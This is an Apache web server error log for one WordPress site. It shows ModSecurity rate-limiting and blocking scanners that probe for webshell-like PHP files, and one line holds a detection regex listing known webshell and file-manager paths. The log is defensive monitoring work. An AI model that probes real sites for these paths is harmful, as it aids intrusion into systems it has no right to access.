[Fri Apr 17 14:36:06.287604 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:29973] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aeHU1hP68VyHNvj1e56kpQAAAMs"]
[Fri Apr 17 14:36:07.076925 2026] [:error] [pid 9152:tid 9199] [client 74.234.56.128:28931] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aeHU15JYca8I3TNCwIf_yQAAAEk"]
[Fri Apr 17 14:36:07.785567 2026] [:error] [pid 34273:tid 34295] [client 74.234.56.128:30515] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aeHU12uQDW686mK3dgHD1QAAAZQ"]
[Fri Apr 17 14:36:08.518707 2026] [:error] [pid 34273:tid 34281] [client 74.234.56.128:30504] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aeHU2GuQDW686mK3dgHD1wAAAYY"]
[Fri Apr 17 14:36:09.153486 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:30472] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aeHU2RP68VyHNvj1e56kqQAAAMM"]
[Fri Apr 17 14:36:09.734056 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:29998] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aeHU2RP68VyHNvj1e56kqwAAAMo"]
[Fri Apr 17 14:36:10.345870 2026] [:error] [pid 51878:tid 51888] [client 74.234.56.128:30527] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aeHU2knQhUtMbw9EsgYbSAAAAQg"]
[Fri Apr 17 14:36:10.911747 2026] [:error] [pid 9263:tid 9271] [client 74.234.56.128:29537] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aeHU2hP68VyHNvj1e56krwAAAMY"]
[Fri Apr 17 14:36:11.434370 2026] [:error] [pid 25010:tid 25021] [client 74.234.56.128:29994] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aeHU24-7kkf42RarqQ1GHQAAAUg"]
[Fri Apr 17 14:36:11.998752 2026] [:error] [pid 9152:tid 9212] [client 74.234.56.128:27395] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aeHU25JYca8I3TNCwIf_ygAAAFY"]
[Fri Apr 17 14:36:12.536663 2026] [:error] [pid 51878:tid 51901] [client 74.234.56.128:30542] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aeHU3EnQhUtMbw9EsgYbTgAAARU"]
[Fri Apr 17 14:36:13.153573 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:30590] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aeHU3ZJYca8I3TNCwIf_zgAAAFI"]
[Fri Apr 17 14:36:13.728639 2026] [:error] [pid 61523:tid 61552] [client 74.234.56.128:29957] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cabs.php"] [unique_id "aeHU3cOaH-Pgc7WEf4NHxAAAAco"]
[Fri Apr 17 14:36:14.297879 2026] [proxy_fcgi:error] [pid 25010:tid 25030] [client 74.234.56.128:30022] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:36:14.567541 2026] [proxy_fcgi:error] [pid 25010:tid 25027] [client 74.234.56.128:30022] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:36:14.844286 2026] [proxy_fcgi:error] [pid 25010:tid 25014] [client 74.234.56.128:30022] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:36:15.127319 2026] [proxy_fcgi:error] [pid 25010:tid 25025] [client 74.234.56.128:30022] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 23:04:04.335454 2026] [:error] [pid 9263:tid 9269] [client 182.181.141.6:55524] [client 182.181.141.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.181.141.6, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeJL5BP68VyHNvj1e56FywAAAMQ"]
[Fri Apr 17 23:04:04.346317 2026] [proxy_fcgi:error] [pid 9263:tid 9269] [client 182.181.141.6:55524] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:19.637456 2026] [proxy_fcgi:error] [pid 63702:tid 63744] [client 4.235.108.154:59387] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:19.898932 2026] [proxy_fcgi:error] [pid 63702:tid 63762] [client 4.235.108.154:59387] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:20.163019 2026] [proxy_fcgi:error] [pid 63702:tid 63747] [client 4.235.108.154:59387] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:20.425840 2026] [proxy_fcgi:error] [pid 63702:tid 63743] [client 4.235.108.154:59387] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:20.687668 2026] [proxy_fcgi:error] [pid 63702:tid 63740] [client 4.235.108.154:59387] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:20.948789 2026] [proxy_fcgi:error] [pid 63702:tid 63765] [client 4.235.108.154:59387] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:21.211272 2026] [proxy_fcgi:error] [pid 63702:tid 63755] [client 4.235.108.154:59387] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:21.482584 2026] [proxy_fcgi:error] [pid 63702:tid 63759] [client 4.235.108.154:59387] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:21.741852 2026] [:error] [pid 63702:tid 63763] [client 4.235.108.154:59387] [client 4.235.108.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeJ7EcTL05PWYsKqTEYo3gAAAVY"]
[Sat Apr 18 02:25:27.362634 2026] [proxy_fcgi:error] [pid 59042:tid 59052] [client 4.235.108.154:3466] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:27.632659 2026] [proxy_fcgi:error] [pid 59042:tid 59060] [client 4.235.108.154:3466] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:25:27.896540 2026] [:error] [pid 59042:tid 59061] [client 4.235.108.154:3466] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeJ7F56p5oql0UklEBJjpAAAAA4"]
[Sat Apr 18 02:25:32.221012 2026] [:error] [pid 63702:tid 63754] [client 4.235.108.154:3954] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeJ7HMTL05PWYsKqTEYo-wAAAU0"]
[Sat Apr 18 02:25:34.473486 2026] [:error] [pid 42442:tid 42459] [client 4.235.108.154:3620] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeJ7Hj4PBGqL_yqPJ8lMVwAAAQ8"]
[Sat Apr 18 02:25:36.955924 2026] [:error] [pid 59043:tid 59088] [client 4.235.108.154:3095] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeJ7IIRtUGE9SfUh2wwgUQAAAE4"]
[Sat Apr 18 02:25:40.366337 2026] [:error] [pid 59136:tid 59158] [client 4.235.108.154:3940] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeJ7JCaoiUyiIR3EhLXMbgAAANM"]
[Sat Apr 18 02:25:42.783875 2026] [:error] [pid 63702:tid 63756] [client 4.235.108.154:3402] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeJ7JsTL05PWYsKqTEYpDQAAAU8"]
[Sat Apr 18 02:25:44.523155 2026] [:error] [pid 42442:tid 42449] [client 4.235.108.154:3636] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeJ7KD4PBGqL_yqPJ8lMZgAAAQU"]
[Sat Apr 18 02:25:45.752781 2026] [:error] [pid 59044:tid 59105] [client 4.235.108.154:3619] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeJ7KQFamkFyEtD_SMHNuQAAAIQ"]
[Sat Apr 18 02:25:48.929544 2026] [:error] [pid 59044:tid 59112] [client 4.235.108.154:59370] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/state.php"] [unique_id "aeJ7LAFamkFyEtD_SMHNuwAAAIs"]
[Sat Apr 18 02:25:51.431007 2026] [:error] [pid 59042:tid 59065] [client 4.235.108.154:3597] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/state.php"] [unique_id "aeJ7L56p5oql0UklEBJjtQAAABI"]
[Sat Apr 18 02:25:55.390750 2026] [:error] [pid 59044:tid 59115] [client 4.235.108.154:3471] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/state.php"] [unique_id "aeJ7MwFamkFyEtD_SMHNwAAAAI4"]
[Sat Apr 18 02:25:56.175042 2026] [:error] [pid 59044:tid 59120] [client 4.235.108.154:3965] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/state.php"] [unique_id "aeJ7NAFamkFyEtD_SMHNxQAAAJM"]
[Sat Apr 18 02:25:57.061482 2026] [:error] [pid 59044:tid 59125] [client 4.235.108.154:3921] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeJ7NQFamkFyEtD_SMHNyQAAAJg"]
[Sat Apr 18 02:25:58.648805 2026] [:error] [pid 42442:tid 42447] [client 4.235.108.154:3109] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeJ7Nj4PBGqL_yqPJ8lMjgAAAQM"]
[Sat Apr 18 02:26:00.986999 2026] [:error] [pid 59044:tid 59107] [client 4.235.108.154:59364] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeJ7OAFamkFyEtD_SMHN0AAAAIY"]
[Sat Apr 18 02:26:01.673287 2026] [:error] [pid 59042:tid 59071] [client 4.235.108.154:59334] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeJ7OZ6p5oql0UklEBJjxgAAABg"]
[Sat Apr 18 02:26:04.005324 2026] [:error] [pid 59044:tid 59112] [client 4.235.108.154:3100] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeJ7PAFamkFyEtD_SMHN1QAAAIs"]
[Sat Apr 18 02:26:05.168327 2026] [:error] [pid 59136:tid 59158] [client 4.235.108.154:3640] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeJ7PSaoiUyiIR3EhLXMjgAAANM"]
[Sat Apr 18 02:26:08.426980 2026] [:error] [pid 42442:tid 42448] [client 4.235.108.154:59330] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeJ7QD4PBGqL_yqPJ8lMpwAAAQQ"]
[Sat Apr 18 02:26:09.554759 2026] [:error] [pid 63702:tid 63751] [client 4.235.108.154:3639] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeJ7QcTL05PWYsKqTEYpRAAAAUs"]
[Sat Apr 18 02:26:11.858400 2026] [:error] [pid 63702:tid 63757] [client 4.235.108.154:3111] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeJ7Q8TL05PWYsKqTEYpSQAAAVA"]
[Sat Apr 18 02:26:14.994043 2026] [:error] [pid 63702:tid 63750] [client 4.235.108.154:59343] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeJ7RsTL05PWYsKqTEYpTwAAAUo"]
[Sat Apr 18 02:26:17.483463 2026] [:error] [pid 63702:tid 63757] [client 4.235.108.154:3942] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeJ7ScTL05PWYsKqTEYpVgAAAVA"]
[Sat Apr 18 02:26:20.655563 2026] [:error] [pid 59042:tid 59047] [client 4.235.108.154:3472] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeJ7TJ6p5oql0UklEBJj1QAAAAA"]
[Sat Apr 18 02:26:30.075112 2026] [proxy_fcgi:error] [pid 59044:tid 59110] [client 4.235.108.154:59388] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:26:30.352028 2026] [proxy_fcgi:error] [pid 59044:tid 59108] [client 4.235.108.154:59388] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:26:30.614560 2026] [proxy_fcgi:error] [pid 59044:tid 59121] [client 4.235.108.154:59388] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:26:30.893536 2026] [proxy_fcgi:error] [pid 59044:tid 59120] [client 4.235.108.154:59388] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:26:31.431621 2026] [proxy_fcgi:error] [pid 59044:tid 59113] [client 4.235.108.154:59388] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:26:31.719107 2026] [proxy_fcgi:error] [pid 59044:tid 59118] [client 4.235.108.154:59388] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:26:33.276428 2026] [:error] [pid 59044:tid 59122] [client 4.235.108.154:59388] [client 4.235.108.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aeJ7WQFamkFyEtD_SMHOEAAAAJU"]
[Sat Apr 18 02:26:34.916639 2026] [proxy_fcgi:error] [pid 42442:tid 42446] [client 4.235.108.154:3908] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:26:35.188924 2026] [proxy_fcgi:error] [pid 42442:tid 42447] [client 4.235.108.154:3908] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:26:35.451608 2026] [proxy_fcgi:error] [pid 42442:tid 42444] [client 4.235.108.154:3908] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:26:35.723155 2026] [:error] [pid 42442:tid 42462] [client 4.235.108.154:3908] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeJ7Wz4PBGqL_yqPJ8lM_QAAARI"]
[Sat Apr 18 02:26:36.777390 2026] [:error] [pid 42442:tid 42468] [client 4.235.108.154:3634] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeJ7XD4PBGqL_yqPJ8lNCQAAARg"]
[Sat Apr 18 02:26:38.805970 2026] [:error] [pid 63702:tid 63744] [client 4.235.108.154:3081] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeJ7XsTL05PWYsKqTEYpdgAAAUU"]
[Sat Apr 18 02:26:39.825903 2026] [:error] [pid 42442:tid 42456] [client 4.235.108.154:3088] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeJ7Xz4PBGqL_yqPJ8lNEwAAAQw"]
[Sat Apr 18 02:26:43.174870 2026] [:error] [pid 59136:tid 59147] [client 4.235.108.154:3469] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aeJ7YyaoiUyiIR3EhLXMsAAAAMg"]
[Sat Apr 18 02:26:48.515838 2026] [:error] [pid 63702:tid 63765] [client 4.235.108.154:3487] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aeJ7aMTL05PWYsKqTEYpjwAAAVg"]
[Sat Apr 18 02:26:50.002684 2026] [:error] [pid 63702:tid 63756] [client 4.235.108.154:59356] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aeJ7asTL05PWYsKqTEYplAAAAU8"]
[Sat Apr 18 02:26:51.931174 2026] [:error] [pid 59043:tid 59074] [client 4.235.108.154:3089] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aeJ7a4RtUGE9SfUh2wwgrAAAAEA"]
